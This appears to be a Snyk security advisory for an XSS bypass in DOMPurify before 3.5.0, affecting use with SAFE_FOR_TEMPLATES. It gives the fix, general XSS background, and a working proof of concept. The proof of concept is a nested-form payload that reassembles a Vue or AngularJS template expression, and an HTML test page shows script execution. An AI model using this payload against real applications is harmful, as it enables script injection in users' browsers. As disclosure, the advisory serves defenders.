Cross-site Scripting (XSS) Affecting dompurify package, versions <3.5.0


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
1.17% (69th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Cross-site Scripting (XSS) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-DOMPURIFY-23745892
  • published4 Dec 2026
  • disclosed3 Dec 2026
  • creditEric Labrador Sainz

Introduced: 3 Dec 2026

NewCVE-2026-144292  (opens in a new tab)
CWE-79  (opens in a new tab)

How to fix?

Upgrade dompurify to version 3.5.0 or higher.

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via DOMPurify.sanitize() when the SAFE_FOR_TEMPLATES option is enabled. Nested <form> elements cause brace fragments to remain in separate text nodes during sanitization, so no single node contains {{ or }} and the template-expression scrub passes them through. When the sanitized output string is later assigned to innerHTML by the consumer, the HTML parser ignores the inner <form> start tag because a form element is already open, merging the fragments into a single text node that reconstructs a complete {{...}} expression. A template engine (such as Vue 3 or AngularJS) that compiles the reparsed DOM then evaluates the attacker-controlled expression, achieving arbitrary JavaScript execution in the page origin.

Note: This is only exploitable when SAFE_FOR_TEMPLATES: true is set and the sanitized output is subsequently assigned to innerHTML and compiled by a client-side template engine.

PoC

Tested with DOMPurify 3.4.18 (npm latest), Vue 3.5.45 and AngularJS 1.8.3 on Chromium 156, Firefox 157 and WebKit 27.2.

Configuration: { SAFE_FOR_TEMPLATES: true }, nothing else.

Minimal check:

const clean = DOMPurify.sanitize(
  "<form><div>{</form><form>{constructor.constructor('alert(1)')()}</form>}",
  { SAFE_FOR_TEMPLATES: true }
);
// clean === "<form><div>{<form>{constructor.constructor('alert(1)')()}</form>}</div></form>"

const div = document.createElement('div'); div.innerHTML = clean; // div.textContent === "{{constructor.constructor('alert(1)')()}}" (single text node)

End-to-end: save as poc.html and open it in a browser.

<!doctype html>
<meta charset="utf-8">
<script src="https://unpkg.com/dompurify@3.4.18/dist/purify.js"></script>
<script src="https://unpkg.com/vue@3.5.45/dist/vue.global.prod.js"></script>
<script src="https://unpkg.com/angular@1.8.3/angular.min.js"></script>
<div id="vue-host"><div class="comment"></div></div>
<div id="ng-host"><div class="comment"></div></div>
<pre id="log"></pre>
<script>
  const log = (m) => (document.getElementById('log').textContent += m + '\n');
  window.xss = (tag) => log('EXECUTED: ' + tag);
  const cfg = { SAFE_FOR_TEMPLATES: true };
  const wrap = (expr) => `<form><div>{</form><form>{${expr}}</form>}`;
  log('DOMPurify ' + DOMPurify.version);

// Vue 3 (in-DOM template) const cleanVue = DOMPurify.sanitize(wrap($emit.constructor(&#39;xss(&quot;vue&quot;)&#39;)()), cfg); log('vue clean: ' + cleanVue); document.querySelector('#vue-host .comment').innerHTML = cleanVue; Vue.createApp({}).mount('#vue-host');

// AngularJS 1.8.3 const cleanNg = DOMPurify.sanitize(wrap(constructor.constructor(&#39;xss(&quot;ng&quot;)&#39;)()), cfg); log('ng clean : ' + cleanNg); document.querySelector('#ng-host .comment').innerHTML = cleanNg; angular.bootstrap(document.getElementById('ng-host'), []); </script>

Expected: the sanitized strings contain no live expression and nothing executes.

Actual, identical in all three browsers:

DOMPurify 3.4.18
vue clean: <form><div>{<form>{$emit.constructor('xss("vue")')()}</form>}</div></form>
EXECUTED: vue
ng clean : <form><div>{<form>{constructor.constructor('xss("ng")')()}</form>}</div></form>
EXECUTED: ng

Control, same config: <p>{{constructor.constructor('alert(1)')()}}</p> returns <p> </p>.

Server-side: with DOMPurify 3.4.18 on jsdom 27.0.1, the payload returns the same string, and parsing that string yields a single text node {{constructor.constructor('alert(1)')()}}.

Note: Tested with DOMPurify 3.4.18, Vue 3.5.45 and AngularJS 1.8.3 on Chromium 156, Firefox 157 and WebKit 27.2, with configuration { SAFE_FOR_TEMPLATES: true }.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:
  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:
  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

CVSS Base Scores

version 4.0
version 3.1